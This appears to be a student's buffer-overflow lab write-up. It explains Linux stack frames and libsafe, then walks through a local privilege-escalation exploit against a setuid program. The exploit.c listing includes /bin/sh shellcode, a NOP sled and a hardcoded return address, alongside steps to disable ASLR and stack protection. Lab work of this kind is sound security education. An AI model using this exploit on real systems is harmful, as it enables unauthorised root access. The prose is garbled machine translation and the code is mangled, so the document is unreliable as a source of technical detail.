The principle of buffer overflow attack in buffer lab
A buffer overflow is a scenario in which a program attempts to write to a buffer beyond the pre-allocated fixed-length data. This vulnerability could be exploited by malicious users to alter the flow control of a program, or even execute arbitrary fragments of code. This vulnerability occurs because of a temporary shutdown of the data buffer and the return address, which causes the return address to be rewritten. The process's stack is logically composed of multiple stack frames, each of which corresponds to a function call. When a function call occurs, the new stack frame is pressed into the stack, and when the function returns, the corresponding stack frame pops up from the stack. Although the introduction of the stack frame structure provides direct hardware support for concepts such as implementing functions or procedures in high-level languages, the important data such as function return addresses are kept in the programmer's visible stack, which poses a great risk to system security.
Layout of process address space and structure of stack frame under Linux
To understand the principle of buffer overflow attack under Linux, we must first grasp the layout of the process address space under Linux and the structure of stack frames. Any program typically includes both code snippets and data segments, and the code and data itself are static. To run a program, it is up to the operating system to create a process for it, and to map its code snippets and data segments in the virtual address space of the process. It is not enough to have code snippets and data segments, and the process should have its own dynamic environment in the process, the most important of which is the stack. The address space layout for the process under Linux:
First, EXECVE (2) is responsible for mapping the process code snippet and data segment, and actually reading the contents of the code snippet and data segment into memory is done on demand by the system's fault handler for the pages. In addition, EXECVE (2) also Chingqing BSS to 0, which is why the global variable with the initial value is not assigned and the static variable has an initial value of zero. The highest position of the process user space is the command-line arguments and environment variables that are used to store the program runtime, and there is a large hole in the lower part of the address space and above the BSS segment, while the stack and heap as the dynamic running environment of the process are housed, where the stack stretches downward and the heap stretches upward. In fact, the stack holds the stack frame corresponding to each function. When a function call occurs, the new stack frame is pressed into the stack, and when the function returns, the corresponding stack frame pops up from the stack. The top of the stack frame is the argument of the function, the following is the return address of the function and a pointer to the previous stack frame, and the bottom is the space used by the local variable assigned to the function. A stack frame usually has two pointers, one of which is called the stack frame pointer, and the other is called the stack-top pointer. The position that the former points to is fixed, and the position that the latter points to is variable during the function's operation. Therefore, when you access arguments and local variables in a function, the stack frame pointer is the base address, plus an offset.
countermeasures against Buffer overflow attack in Linux
Understanding the principle of buffer overflow attack, the next thing to do is to find out the way of the enemy. Here, we mainly introduce a very simple but more popular method ――libsafe.
There are many functions like strcpy (3) in the standard C library that are used to process strings, and they copy one string into another string. For when to stop copying, these functions usually have only one criterion, that is, whether the ' \ S ' character is encountered. The only criterion, however, is clearly not enough. We have just analyzed in the previous section of the Linux buffer overflow attack instance is the use of strcpy (3) to attack the system, and strcpy (3) is the flaw in the copy of the string when the size of the destination string is not taken into account. There are many functions like this, such as strcat, GET, scanf, sprintf and so on. Statistics show that in the case of buffer overflow attacks that have been discovered, the perpetrators are mostly these functions. Based on these facts, Avaya Labs has launched Libsafe.
in today's Linux system, most of the program links are dynamic link libraries. The dynamic link library itself has many advantages, such as after the library upgrade, some programs in the system do not need to recompile and do not need to re-link to use the upgraded dynamic link library to continue to run. In addition, Linux provides a lot of flexible means for the use of dynamic link libraries, and the preload (preload) mechanism is one of them. Under Linux, the preload mechanism is provided by setting the environment variable ldpreload. Simply put, if there are several different dynamic-link libraries in the system that implement the same function, the dynamic-link libraries set in the environment variable ldpreload are preferred when linking. In this way, we can take advantage of the pre-load mechanism provided by Linux to replace the above-mentioned functions that have security implications, and Libsafe is based on this idea. The testlibsafe.c shown in Figure 20 is a very simple program in which the string buf2[16] is first written full of ' A ' and then copied to Buf1[8 by strcpy (3).
#include <string.h>void main () {charbuf1[8];charbuf2[16 ]; int i; for 0 ; ++'A'; strcpy (BUF1, buf2);}
Because BUF2[16] is larger than buf1[8, there is a clear buffer overflow, and it is easy to think that the return address of the main function is changed to 0x41414141 because the binary representation of ' A ' is 0x41. This will cause segmentation fault to occur when main returns.
$ gcc testlibsafe.c-o testlibsafe> $./Testlibsafesegmentation Fault (core dumped)
Let's take a look at how Libsafe protects us from buffer overflow attacks. First, install Libsafe in the system.
-IVH libsafe-2.0-2. I386.rpmlibsafe ################################################## # Exit
Now that the installation is not over, the environment variable ld_preload will be set up correctly.
$ export ld_preload=/lib/libsafe.so. 2
Here you can try it.
$.//home2/wy/projects/overflow/bof/testlibsafe.uid=1011 euid=1011 pid=9481 callstack:0x400177210x4001780a0x80483280x400429c6 Overflow caused by strcpy ()
So, with Libsafe, can we have peace of mind? Do not have this naïve idea, in the field of computer security invasion and anti-invasion battle will never stop. In fact, Libsafe provides us with the protection can be easily destroyed. Because the implementation of Libsafe relies on the preload mechanism provided by the Linux system for the dynamic-link library, there is nothing to libsafe the program with a buffer overflow vulnerability using a static link library.
$ gcc-static testlibsafe.c-o testlibsafe_static> $ env | grep ldld_preload=/lib/ Libsafe.so. 2 $ . /Testlibsafe_staticsegmentation Fault (core dumped)
If you add the-static option when using GCC compilation, then the link is using a static link library. In the case where the system has already installed the Libsafe, you can see that testlibsafe_static again produces the segmentation fault.
Simulation Practice Process
We are using 64-bit Ubuntu Linux, and this experiment is to make it easier to observe the assembly statements, we need to operate in a 32-bit environment, so we need to do some preparation before the experiment.
1, enter the relevant command to install some of the 32-bit C program to compile things:
sudo apt-get update
sudo apt-get install LIB32Z1 libc6-dev-i386
sudo apt-get Install Lib32readline-gplv2-dev
2, enter the command "linux32" into 32-bit Linux environment, enter/bin/bash use bash
This configures the 32-bit environment to end.
3.Ubuntu and some other Linux systems, the use of address space randomization to random heap (heap) and stack (stack) initial address, which makes it difficult to guess the correct memory address, and guessing memory address is the key to buffer overflow attack. So in this experiment, we use the following command to turn off this feature:
sudo sysctl-w kernel.randomize_va_space=0
In a Linux system,/bin/sh is actually a symbolic link to/bin/bash or/bin/dash. To reproduce the situation before this protective measure was implemented, we used another shell program (zsh) instead of/bin/bash. The following instructions describe how to set up the ZSH program:
/-s zsh shexit
4. Vulnerability procedures
Save the following code as a "stack.c" file, as follows:
/*stack.c*//*This program has a buffer overflow vulnerability.*//*Our task was to exploit this vulnerability*/#include<stdlib.h>#include<stdio.h>#include<string.h>intBoFChar*str) {Charbuffer[ A];/*The following statement has a buffer overflow problem*/strcpy (buffer, str);return 1;}intMainintargcChar**argv) {Charstr[517]; FILE*Badfile;badfile= fopen ("Badfile","R"); fread (str,sizeof(Char),517, Badfile), BOF (str);p rintf ("returned properly\n");return 1;}
The code lets you know that the program reads a file named "Badfile" and loads the contents of the file into "buffer".
Compile the program, and set the Set-uid. The command is as follows:
-m32-g-Z execstack-fno-stack-protector-o stack stack.cchmod u+s stackexit
The GCC compiler has a stack protection mechanism to prevent buffer overflows, so we need to close this mechanism when compiling the code –fno-stack-protector
. and is -z execstack
used to allow the execution stack.
5. Attack program
The danger of a buffer overflow is that someone else can attack the vulnerability program just now and gain root access through an attack. The consequences are serious!
Save the following code as a "exploit.c" file. The code is as follows:
/*exploit.c*//*A program This creates a file containing code for launching Shell*/#include<stdlib.h>#include<stdio.h>#include<string.h>Charshellcode[]="\x31\xc0" //Xorl%eax,%eax"\x50" //PUSHL%eax"\x68""//sh" //PUSHL $0x68732f2f"\x68""/bin" //PUSHL $0x6e69622f"\x89\xe3" //MOVL%esp,%ebx"\x50" //PUSHL%eax"\x53" //PUSHL%ebx"\x89\xe1" //MOVL%esp,%ecx"\x99" //CDQ"\xb0\x0b" //Movb $0x0b,%al"\xcd\x80" //int $0x80;voidMainintargcChar**argv) {Charbuffer[517]; FILE*Badfile;/*Initialize buffer with 0x90 (NOP instruction)*/memset (&buffer,0x90,517);/*You need to fill the buffer with appropriate contents here*/strcpy (buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x?? \x?? \x?? \x??"); strcpy (Buffer+ -, shellcode);/*Save the contents to the file "Badfile"*/Badfile= fopen ("./badfile","W"); fwrite (buffer,517,1, Badfile); fclose (badfile);}
Note The above code, \x??\x??\x??\x??
where you need to add an address that shellcode in memory, because this location can overwrite the return address exactly after an overflow occurs.
And strcpy(buffer+100,shellcode)
This sentence tells us where we are ,shellcode
kept buffer+100
.
Now we're going to get shellcode in-memory address, enter the command:
GDB Stackdisass Main
According to the statement strcpy (buffer+100,shellcode; We calculate Shellcode's address is 0xffffd020 (hex) +100 (decimal) =0xffffce84 (hexadecimal)
Modify EXPLOIT.C file Now! Will
\x?? \x?? \x?? \x??
Modified to:
\x84\xce\xff\xff
Then, compile the EXPLOIT.C program:
Gcc-m32-o Exploit exploit.c
First run the attack program Exploit.c, and then run the vulnerability program STACK.C, through the attack, get root privileges! However, after restarting the virtual machine, you will find that the virtual machine exploded! It's awkward and it's not backed up! It's killing me!
Experience Essay :
Buffer overflow vulnerability this piece of knowledge is well-qualified to say that it is a student of the Department of Information Security. Of course I'm still far behind! Still need to continue to work! A buffer overflow vulnerability is a problem that has plagued security experts for more than 30 of years. Simply put, it is a memory error that occurs in the software due to the programming mechanism. Such memory errors allow hackers to run a malicious code to disrupt the system's normal operation and even gain control over the entire system.
The buffer overflow is used to rewrite the contents of the related memory and the return address of the function, thus changing the execution process of the code, which can only be valid within a certain permission range. Because the process is running with the login rights and identities of the current user, just being able to create a buffer overflow cannot break the system's permissions on the current user. Therefore, although a buffer overflow can be used to enable a program to execute other specified code, the executed code has only specific permissions, or does not complete the task of exceeding permissions.
However, some of the features of the Linux (including Unix) system itself can be exploited to break through the limitations of this privilege, allowing for higher, even full, access to buffer overflows. Mainly reflected in the following two aspects:
The Linux (including Unix) system allows other users to execute an executable file by setting its properties to Suid or Sgid, which is the user ID or user group ID of the executable file owner. If the property of the executable is root and the file property is set to Suid, there is an available buffer overflow vulnerability to the executable file that can be used to execute a specific, otherwise scheduled code as root. Since the ability to execute a root code can result in a shell with superuser root privileges, the danger of mastering control over the entire system arises.
Many daemons in Linux (including Unix) are run with root privileges. If there is a buffer overflow available for these programs, you can directly make it the root to execute the additional scheduled code without modifying the program's Suid or Sgid properties. This will make it easier to gain control of the system.
With the development of modern network technology and the deepening of network application, the remote login mechanism, long-distance call and execution mechanism provided by computer network are necessary. This gives an anonymous Internet user the opportunity to exploit a buffer overflow vulnerability to gain partial or full control over a system. In fact, a buffer overflow vulnerability as an attack means the majority of remote network attacks, which poses a very serious security threat to the Linux system! Must attract attention!
Buffer lab--20145326 Cai